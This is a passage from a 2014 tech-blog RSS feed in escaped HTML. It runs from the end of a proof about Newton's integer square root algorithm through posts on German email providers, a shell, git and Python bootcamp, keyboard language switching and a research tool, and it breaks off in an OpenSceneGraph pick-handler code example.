  &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Let&amp;rsquo;s start with \(x_0\):

\[
      \begin{aligned}
      x_0 &amp;=   2^{\lceil \Bits(n) / 2 \rceil} \\
      &amp;=   2^{\lfloor (\lfloor \lg n \rfloor + 1 + 1)/2 \rfloor} \\
      &amp;=   2^{\lfloor \lg n / 2 \rfloor + 1} \\
      &amp;=   2 \cdot 2^{\lfloor \lg n / 2 \rfloor}\text{.}
      \end{aligned}
\]

      Then \(x_0/2 = 2^{\lfloor \lg n / 2 \rfloor} \le 2^{\lg n / 2} =
      \sqrt{n}\). Since \(x_0/2\) is an integer, \(x_0/2 \le \sqrt{n}\) if
      and only if \(x_0/2 \le \lfloor \sqrt{n} \rfloor = s\). Therefore,
      \(x_0 \le 2s\).&lt;/p&gt;

    &lt;p&gt;As for \(ϵ_0\):

\[
      \begin{aligned}
      ϵ_0 &amp;=   \Err(x_0) \\
      &amp;\le \Err(2s) \\
      &amp;=   (2s)^2/n - 1 \\
      &amp;=   4s^2/n - 1\text{.}
      \end{aligned}
\]

      Since \(s^2 \le n\), \(4s^2/n \le 4\) and thus \(ϵ_0 \le 3\).&lt;/p&gt;

    &lt;p&gt;Finally, \(ϵ_1\) is just
      \(\Err(f(x_0))\). Using calculations from Lemma 4,

\[
      \begin{aligned}
      ϵ_1 &amp;\le \Err(g(x_0)) \\
      &amp;=   (ϵ_0/2)^2/(ϵ_0 + 1) \\
      &amp;\le (3/2)^2/(3 + 1) \\
      &amp;=   9/16\text{.}
      \end{aligned}
\]

      Therefore, \(ϵ_1 \le 1\). &amp;#x220e;&lt;/p&gt;
  &lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="p"&gt;Finally, we can show our main result:

    &lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Theorem 3&lt;/span&gt;.)
      \(\NewtonSqrt\) performs \(O(\lg \lg
      n)\) loop iterations.&lt;/div&gt;

    &lt;div class="proof"&gt;
    &lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Let \(k\) be the number of loop
      iterations performed when running the algorithm for \(n\) (i.e., \(x_k
      \ge x_{k-1}\)) and assume \(k \ge 4\). Then \(x_i \ge s + 1\) for \(i
      \lt k - 1\). Since \(ϵ_1 \le 1\) by Lemma 5, \(ϵ_2 \le
      1/2\) and \(ϵ_i \le (ϵ_2)^{2^{i-2}}\) for \(2 \le i \lt
      k - 1\) by Lemma 4, then \(ϵ_{k-2} \le 2^{-2^{k-4}}\). But
      \(1/n \le ϵ_{k-2}\) by Lemma 3, so \(1/n \le
      2^{-2^{k-4}}\). Taking logs to bring down the \(k\) yields \(k - 4 \le
      \lg \lg n\). Then \(k \le \lg \lg n + 4\), and thus \(k = O(\lg \lg
      n)\). &amp;#x220e;&lt;/p&gt;
    &lt;/div&gt;

    Note that in general, an arithmetic operation is not constant-time,
    and in fact has run-time \(\Omega(\lg n)\). Since the most expensive
    arithmetic operation we do is division, we can say that
    \(\NewtonSqrt\) has run-time that is
    both \(\Omega(\lg n)\) and \(O(D(n) \cdot \lg \lg n)\), where \(D(n)\)
    is the run-time of dividing \(n\) by some number \(\le n\).&lt;sup&gt;&lt;a href="#fn5" id="r5"&gt;[5]&lt;/a&gt;&lt;/sup&gt;&lt;/div&gt;

&lt;/section&gt;

&lt;section&gt;
  &lt;header&gt;
    &lt;h2&gt;4. The Initial Guess&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p&gt;It&amp;rsquo;s also useful to show that if the initial guess \(x_0\) is
    bad, then the run-time degrades to \(Θ(\lg n)\). We&amp;rsquo;ll do
    this by defining the function \(\NewtonSqrt\)
    except that it takes a function \(\mathrm{I{\small
    NITIAL}\text{-}G{\small UESS}}\) that is called with \(n\) and assigned to
    \(x_0\) in step 1. Then, we can treat \(ϵ_0\) as a function of
    \(n\) and analyze how long \(ϵ_i\) stays above \(1\) to show
    that \(\NewtonSqrt\) uses an
    initial guess such that \(ϵ_0(n) = Θ(1)\), then Theorem 4
    reduces to Theorem 3 in that case. However, if \(x_0\) is chosen to be
    \(Θ(n)\), e.g. the initial guess is just \(n\) or \(n/k\) for
    some \(k\), then \(ϵ_0(n)\) will also be \(Θ(n)\), and so
    the run time will degrade to \(Θ(\lg n)\). So having a good
    initial guess is important for the performance of
    \(\NewtonSqrt\)!&lt;/p&gt;

&lt;/section&gt;

&lt;hr /&gt;

&lt;p&gt;Like this post? Subscribe to
  &lt;!-- The image is 256x256, the center of the dot is 189 pixels from the
     top, and the radius of the dot is 24. Therefore, the dot is 43/256 =
     0.16796875 of the image height above the bottom.--&gt;
&lt;a href="feed/atom"&gt;my feed &lt;img alt="RSS icon" src="feed-icon.svg" /&gt;&lt;/a&gt;

  or follow me on
  &lt;a href="https://twitter.com/fakalin"&gt;Twitter &lt;img alt="Twitter icon" src="twitter-icon.svg" /&gt;&lt;/a&gt;.&lt;/p&gt;


&lt;section class="footnotes"&gt;
  &lt;header&gt;
    &lt;h2&gt;Footnotes&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p id="fn1"&gt;[1] Aside from
    the &lt;a href="https://en.wikipedia.org/wiki/Integer_square_root"&gt;Wikipedia
    article&lt;/a&gt;, the algorithm is described as Algorithm 9.2.11 in
    &lt;a href="http://www.amazon.com/Prime-Numbers-A-Computational-Perspective/dp/0387252827"&gt;Prime
      Numbers: A Computational Perspective&lt;/a&gt;.
    &lt;a href="#r1"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn2"&gt;[2] Note that only integer operations are used, which makes this
    algorithm suitable for arbitrary-precision integers.
    &lt;a href="#r2"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn3"&gt;[3] Go and JS implementations are available
    on &lt;a href="https://github.com/akalin/iroot"&gt;my GitHub&lt;/a&gt;.
    &lt;a href="#r3"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn4"&gt;[4] Here, and in most of the article, we&amp;rsquo;ll
    implicitly assume that \(n \gt 0\).
    &lt;a href="#r4"&gt;↩&lt;/a&gt;&lt;/p&gt;

  &lt;p id="fn5"&gt;[5] \(D(n)\) is \(Θ(\lg^2 n)\) using long division, but
    fancier division algorithms have better run-times.
    &lt;a href="#r5"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;</description><author>Fred Akalin</author><pubDate>Tue, 09 Dec 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.akalin.com/computing-isqrt</guid></item><item><title>Scheduled food delivery, arousal suppressant, and brain woes</title><link>https://liza.io/scheduled-food-delivery-arousal-suppressant-and-brain-woes/</link><description>&lt;p&gt;I haven&amp;rsquo;t updated in a long time and it&amp;rsquo;s because the battle with snail brains has been raging on. Over the past few weeks I have run into several weird behavioural problems, including but not limited to:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 09 Dec 2014 09:50:01 GMT</pubDate><guid isPermaLink="true">https://liza.io/scheduled-food-delivery-arousal-suppressant-and-brain-woes/</guid></item><item><title>Choosing a German Email Provider</title><link>https://bastibe.de/2014-12-09-mailbox.html</link><description>&lt;p&gt;Why not just use Gmail&lt;sup class="footnote-ref" id="fnref-1"&gt;&lt;a href="#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt;? Because if you're not paying for the service, you &lt;em&gt;are&lt;/em&gt; the service. Google gives you Gmail for free, and in return they analyze and market your data. That's a fair deal, as far as I am concerned. But not a deal I want to make.&lt;/p&gt;
&lt;p&gt;For one thing, I just don't like the idea of someone else reading through my email. Furthermore, I'd like my emails to be hosted in the same country I live in&lt;sup class="footnote-ref" id="fnref-2"&gt;&lt;a href="#fn-2"&gt;2&lt;/a&gt;&lt;/sup&gt;, so that all the laws that protect the privacy of my letters are just as valid for my emails. So a German email provider it is.&lt;/p&gt;
&lt;p&gt;First, I tried &lt;a href="http://mail.de"&gt;mail.de&lt;/a&gt;. They show ads, even if you pay them. Also, their web interface is surprisingly ugly. No thank you.&lt;/p&gt;
&lt;p&gt;Then, I found &lt;a href="http://posteo.de"&gt;posteo.de&lt;/a&gt;, and they seemed to be doing everything right! Hosted in Germany, a buck a month, with a focus on security and privacy, and seemingly developed by friendly people. They even try to be environmentally friendly. In summary: perfect!&lt;/p&gt;
&lt;p&gt;After half a year of using Posteo, though, I have found a few niggles. The web interface can't search mailboxes with a lot of emails--I have an archive directory with 14k emails and the search wouldn't work. Their support says that's because there are too many messages in that directory. Also, they have had a bit too much down time for my taste: I experienced three outages of about two hours each in the last half year. Not a deal breaker, but it doesn't exactly instill confidence in their infrastructure.&lt;/p&gt;
&lt;p&gt;Enter &lt;a href="http://mailbox.org"&gt;mailbox.org&lt;/a&gt;. Also German, also a buck a month, also friendly and safe and eco-conscious. But with a much nicer web interface, support for custom domains, and a working search box. They even support ActiveSync, which you'll like if you use Outlook or Windows Phone. In other words, Posteo done right. I'm sold.&lt;/p&gt;
&lt;section class="footnotes"&gt;
&lt;ol&gt;
&lt;li id="fn-1"&gt;&lt;p&gt;Or &lt;a href="http://outlook.com"&gt;outlook.com&lt;/a&gt;, which is the same deal from Microsoft. Use this if you don't like Google's &amp;quot;priority&amp;quot; inbox and wonky IMAP support.&lt;a class="footnote" href="#fnref-1"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li id="fn-2"&gt;&lt;p&gt;For the record, &lt;a href="http://arstechnica.com/tech-policy/2014/09/judge-mulls-contempt-charges-in-microsofts-e-mail-privacy-fight-with-us/"&gt;Microsoft&lt;/a&gt; has made a point of having servers in each user's country and abiding by that country's law.&lt;a class="footnote" href="#fnref-2"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</description><author>bastibe.de</author><pubDate>Tue, 09 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-12-09-mailbox.html</guid></item><item><title>One day software bootcamp for engineers</title><link>http://negfeedback.blogspot.com/2014/12/one-day-software-bootcamp-for-engineers.html</link><description>Last week I spent a day going over the basics of the Unix shell, version control using git and some Python with engineering students. Here are some of the things I said, links to interesting tools and my insights from crowd feedback.&lt;br /&gt;
&lt;h2&gt;
Motivation&lt;/h2&gt;
Every year, new project students arrive on campus and are asked to do larger projects than they are used to. The methods they have used for data processing up to now are usually not up to the task. The ubiquity of the spreadsheet means that most of them have opened their files in a spreadsheet and then manually applied whatever operations they needed. In my fourth year projects and also at postgraduate level, the problems of scale mean that this method probably won't work.&lt;br /&gt;
&lt;br /&gt;
I've been inspired by the people from &lt;a href="http://software-carpentry.org/"&gt;Software Carpentry&lt;/a&gt;&amp;nbsp;to set up a longish session where I help students to install the software they need and start to understand the power of the tools. The goal is to get them over the initial stage where you don't know anything to a place where they can search for the answer themselves. I don't have permission from the Software Carpentry guys to call this one of their events, and I only loosely based my session on theirs. They appear to have more of a life-sciences focus, whereas I tried to use engineering-type data in my session.&lt;br /&gt;
&lt;br /&gt;
I also chose to do this in Windows, but to use a Unix shell in order to ease the transition for those who would end up using Linux for their simulation. It doesn't make sense to throw someone into the deep end here. It's better to feel like you can do something at the end of a session than being made to feel powerless.&lt;br /&gt;
&lt;h2&gt;
Installers&lt;/h2&gt;
&lt;div&gt;
I chose the following installers for the session:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;The Windows version of &lt;a href="http://git-scm.com/"&gt;git&lt;/a&gt;. This is a good start as it includes git-bash, which also has a great subset of the unix tools.&lt;/li&gt;
&lt;li&gt;The &lt;a href="https://code.google.com/p/pythonxy/"&gt;Python(x,y)&lt;/a&gt; distribution of Python. There are &lt;a href="https://store.continuum.io/cshop/anaconda/"&gt;newer distributions&lt;/a&gt; around, but this one is still up to date and very user-friendly. If you are going to be doing science in Python, you need a distribution like this, as the &lt;a href="https://www.pythonanywhere.com/batteries_included/"&gt;batteries-included philosophy &lt;/a&gt;of Python doesn't extend to science (yet).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;h2&gt;
Unix shell&lt;/h2&gt;
&lt;div&gt;
I start with a review of where Unix comes from. As an aside, I highly recommend &lt;a href="http://www.cryptonomicon.com/beginning.html"&gt;In the beginning... was the commandline&lt;/a&gt;&amp;nbsp;for a pep-talk about how awesome the command line is as well as the most complimentary description of Emacs I have ever read. It helps to keep a picture of a &lt;a href="http://en.wikipedia.org/wiki/Teleprinter"&gt;teletype&lt;/a&gt; in mind when working on the terminal as it informs many of the design decisions.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Now that everyone is in line-by-line mode, we can start the installer. The first two screens provide talking points about the differences between the terminal and the shell, as well as a profitable digression on the problem of different &lt;a href="http://en.wikipedia.org/wiki/Newline"&gt;end-of-line conventions&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
After running the git installer, you have access to git bash, which you can start from the start menu.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Of course, we start with &lt;span style="font-family: Courier New, Courier, monospace;"&gt;ls&lt;/span&gt;, and explain the idea of flags as well as the concept of a working directory (&lt;span style="font-family: Courier New, Courier, monospace;"&gt;pwd&lt;/span&gt; and &lt;span style="font-family: Courier New, Courier, monospace;"&gt;cd&lt;/span&gt; are introduced here, as well as &lt;span style="font-family: Courier New, Courier, monospace;"&gt;.&lt;/span&gt; and &lt;span style="font-family: Courier New, Courier, monospace;"&gt;..&lt;/span&gt;). Then I move on to other commands, including &lt;span style="font-family: Courier New, Courier, monospace;"&gt;echo&lt;/span&gt;, which allows me to explain how&amp;nbsp;blobbing&amp;nbsp;is handled by the shell rather than by each command we will be using. Most of this part is just me showing how useful the shell can be, with examples motivating &lt;span style="font-family: Courier New, Courier, monospace;"&gt;cat&lt;/span&gt;, &lt;span style="font-family: Courier New, Courier, monospace;"&gt;cut&lt;/span&gt;, &lt;span style="font-family: Courier New, Courier, monospace;"&gt;grep&lt;/span&gt;, &lt;span style="font-family: Courier New, Courier, monospace;"&gt;head&lt;/span&gt;, &lt;span style="font-family: Courier New, Courier, monospace;"&gt;wc&lt;/span&gt; and some others. As the examples spin out, we start to use &lt;a href="http://www.tldp.org/LDP/abs/html/io-redirection.html"&gt;redirection&lt;/a&gt; and &lt;a href="http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-4.html"&gt;piping&lt;/a&gt;. I think it is more important to leave with a sense of awe at the possibilities, as well as some basic understanding of what to search for than any real expertise in the command line. It may also be useful to go through the &lt;a href="http://software-carpentry.org/v5/novice/shell/index.html"&gt;Software Carpentry shell lessons&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Version control&lt;/h2&gt;
&lt;div&gt;
Now that everyone is roughly comfortable with the command line, it's time to start using git bash for what it's named for: git.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I'm not going to recapitulate the whole lesson here, especially because it's &lt;a href="http://software-carpentry.org/v5/novice/git/index.html"&gt;better written up at Software Carpentry&lt;/a&gt;&amp;nbsp;but the core is instilling a good set of nomenclature built around pictures which represent the structures git uses. First, here is how the repository commands work:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXhkHFes6fHbDhmxsczK51YDCvUhCUFrLXD-19d_p3_uNIrm1kEH7d5uIAoUvVA8r20Cd9NO0CyxBZdYASsRr9DQ3wmQBPZR1Zl4oIa2jjnp0uJ416mRWwX6xTmn8YbnpVboV24ZYShZU/s1600/gitparts.png" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="273" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXhkHFes6fHbDhmxsczK51YDCvUhCUFrLXD-19d_p3_uNIrm1kEH7d5uIAoUvVA8r20Cd9NO0CyxBZdYASsRr9DQ3wmQBPZR1Zl4oIa2jjnp0uJ416mRWwX6xTmn8YbnpVboV24ZYShZU/s1600/gitparts.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Figure showing the parts of a git repository, with commands to move between them&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
So this takes us up to basic commits. Now, we need to think about how commits relate to one another and how branching works. I use a visualisation similar to what &lt;a href="http://github.com/"&gt;GitHub&lt;/a&gt; uses, with dots for commits and arrow-boxes for branches.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
If you're reading this to learn git, I recommend that you do the &lt;a href="https://try.github.io/"&gt;git code school&lt;/a&gt;&amp;nbsp;for the basics and then work through the challenges on &lt;a href="http://pcottle.github.io/learnGitBranching/"&gt;Learn Git Branching&lt;/a&gt;, which will give you a way to think about how branching and commit chains work:&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijtShWbCbEFQKhRkDpxFzMewNBcCMT5GCd2j9MEjOEVTJSa6QjHWRZi5yZoogP_RvPrO_zfFHVTX6jj-PsnQk-vmJPtiq3N67DaK-_lz8zvqRq8pzokcZM3XTU6LL1kA2H_Wi_MP0WfIM/s1600/gitbranching.png" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijtShWbCbEFQKhRkDpxFzMewNBcCMT5GCd2j9MEjOEVTJSa6QjHWRZi5yZoogP_RvPrO_zfFHVTX6jj-PsnQk-vmJPtiq3N67DaK-_lz8zvqRq8pzokcZM3XTU6LL1kA2H_Wi_MP0WfIM/s1600/gitbranching.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;This interactive branching game is a great way to learn about git branching.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;
Python for Octave/Matlab users&lt;/h2&gt;
&lt;div&gt;
All of the students in the session had learned programming in their undergraduate course, but most of them had learned Octave. This means that basic ideas from programming are already understood, but that the differences between Octave and Python are more important, because they may be working with a different mental model.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I started with the way names work in Python, explaining the idea that Python variables shouldn't be thought of as containers, as they are in Octave, but rather like labels. I did some of the stuff interactively, but if you're reading this now, you only really need &lt;a href="http://nedbatchelder.com/text/names.html"&gt;this article&lt;/a&gt;, which explains it with some great visuals. I can also highly recommend the &lt;a href="http://www.pythontutor.com/"&gt;Online Python Tutor&lt;/a&gt; site which allows you to generate these kinds of diagrams for running code and see each step. Here's what that looks like for one of the examples in the article&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
 

&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I also covered some tips on looping, mentioning the excellent &lt;a href="http://nedbatchelder.com/text/iter.html"&gt;Loop like a Native&lt;/a&gt;&amp;nbsp;talk.&lt;br /&gt;
&lt;br /&gt;
Once these gotchas were covered, I also switched from the IPython terminal to the &lt;a href="http://ipython.org/notebook.html"&gt;IPython Notebook&lt;/a&gt;. I gave a brief overview of how everything works and also mentioned that they need to study up on all the interesting &lt;a href="http://ipython.org/ipython-doc/dev/interactive/tutorial.html#magic-functions"&gt;magics&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Then it was time to pack up!&lt;br /&gt;
&lt;br /&gt;
I can see why the SC guys do this as a two-day workshop, and I think if I do this again I will encourage students to bring files from their particular projects so that they can do some actual work rather than just examples. It's always more meaningful to learn on a problem you actually want to solve than on some contrived example.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</description><author>Negative Feedback</author><pubDate>Mon, 08 Dec 2014 07:14:53 GMT</pubDate><guid isPermaLink="true">http://negfeedback.blogspot.com/2014/12/one-day-software-bootcamp-for-engineers.html</guid></item><item><title>Advanced language switching</title><link>https://nutcroft.mataroa.blog/blog/advanced-language-switching/</link><description>&lt;p&gt;One field where there is not as much development as I would like is language input, other than English. This is understandable for many reasons, but there is so much room for improvement. I am Greek and the situation is pretty good, but I cannot imagine how Chinese or Japanese and other people with hundred letters in their alphabet, write in their language. I have read there is (or was) much debate about how many Japanese letters will be included in the UTF* format.&lt;/p&gt;
&lt;p&gt;In Greek, as I said, you can easily setup your keyboard layout in any operating system I have seen, but there is none with advanced keyboard layout switching techniques.&lt;/p&gt;
&lt;h2 id="advanced-keyboard-layout-switching-techniques"&gt;Advanced keyboard layout switching techniques&lt;/h2&gt;
&lt;p&gt;One very common thing, which always causes time to be lost is that specific fields always take English, and never Greek. For instance, the browser URL bar. You are never going to enter Greek characters there, so it would be a very good idea to &lt;em&gt;lock&lt;/em&gt; this input field on Greek. Of course, this would happen on an OS level, which means that somehow the operating system should understand which text input field is active, on any open program.&lt;/p&gt;
&lt;p&gt;Of course, the problem starts with the fact that there are not (and can't be) enough letters on the keyboard. So, we devise keyboard layout switching mechanisms, that is specific keyboard shortcuts. These need to be easy and fast to make. Apple gave the most thought into this matter and assigned &lt;code&gt;Cmd+Space&lt;/code&gt;. Microsoft, until Windows 7, had &lt;code&gt;Alt+Shift&lt;/code&gt; by default and some other bad choices. Most Linux DEs, following the quantitative mass had assigned Windows' &lt;code&gt;Alt+Shift&lt;/code&gt;, but of course you could change it to (almost) anything you wanted. Since Windows 8, Microsoft overhauled the language switching widget and introduced, along with their old shortcut, &lt;code&gt;Win+Space&lt;/code&gt; too. Since then, I think, some Linux DE's have followed.&lt;/p&gt;
&lt;p&gt;The last hindrance was configuring &lt;code&gt;Win+Space&lt;/code&gt; on Linux. It was not supported out of the box by the X window system utilities, and I did not want to mess with anything else or their endless manuals. Thankfully, I found &lt;a href="https://github.com/ierton/xkb-switch"&gt;this&lt;/a&gt; awesome utility on the ArchWiki, and have been content ever since!&lt;/p&gt;
&lt;h2 id="autocorrect-and-prediction"&gt;Autocorrect and prediction&lt;/h2&gt;
&lt;p&gt;Another grievance of mine is the fact that there is still no mainstream auto-correct / prediction software for language input on desktop systems. SwiftKey is awesome on mobile, why not something similar for Skype et al instant messaging applications?&lt;/p&gt;
&lt;p&gt;I wonder if those who thought of it, tried it and it didn't work, but sometimes you have to type really quickly, and do not care about the mistakes. Maybe next-word prediction is too much, I do not use it on my mobile either.&lt;/p&gt;</description><author>nutcroft</author><pubDate>Mon, 08 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/advanced-language-switching/</guid></item><item><title>Portfold: Topic Research Software</title><link>https://boyter.org/2014/12/portfold-topic-research-software/</link><description>&lt;p&gt;Every few years I have a habit of starting a new project. The goal always being to scratch my own itch and learn some new technology in the process. While I am still working on searchcode.com I really wanted to play with what I had learnt there and apply it to something new.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://portfold.com/"&gt;You can view it at portfold.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Recently I have been taking an interest in various topics such as &amp;ldquo;&lt;a href="http://www.boyter.org/wp-content/uploads/2014/12/Oil-Gas-Pipeline-Failure-Rates.pdf"&gt;Oil Gas Pipeline Failure Rates&lt;/a&gt;&amp;rdquo; and &amp;ldquo;&lt;a href="http://www.boyter.org/wp-content/uploads/2014/12/Hydroelectric-Dam-Environmental-Impacts.pdf"&gt;Hydroelectric Dam Environmental Impacts&lt;/a&gt;&amp;rdquo; (both generated using Portfold). My standard workflow was enter a search term into my favorite search engine and then click through the results looking for the interesting information. Extremely time consuming I was looking to find a better way to do it.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Mon, 08 Dec 2014 00:39:44 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/12/portfold-topic-research-software/</guid></item><item><title>Simple object picking with OpenSceneGraph</title><link>https://bastian.rieck.me/blog/2014/simple_pick_handler_osg/</link><description>&lt;p&gt;As an extension to my &lt;a href="https://bastian.rieck.me/blog/2014/selections_qt_osg/"&gt;previous post on rectangular selections with Qt
and OpenScenegraph&lt;/a&gt;, I just updated
the example project with a very simple &lt;em&gt;pick handler&lt;/em&gt;. A pick handler is
a simple event handler that permits &lt;em&gt;picking&lt;/em&gt;, i.e. selecting objects in
a scene.&lt;/p&gt;
&lt;h1 id="doing-it-manually"&gt;Doing it manually&lt;/h1&gt;
&lt;p&gt;The basic implementation is straightforward. We first inherit from the
base class &lt;code&gt;osgGA::GUIEventHandler&lt;/code&gt; and provide our own implementation
of the &lt;code&gt;handle()&lt;/code&gt; function. In this function, we use a line segment
intersector class to determine intersections within the window:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;PickHandler&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;osgGA&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GUIEventAdapter&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;osgGA&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GUIActionAdapter&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;aa&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getEventType&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;osgGA&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GUIEventAdapter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;RELEASE&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;    &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;osgGA&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GUIEventAdapter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LEFT_MOUSE_BUTTON&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
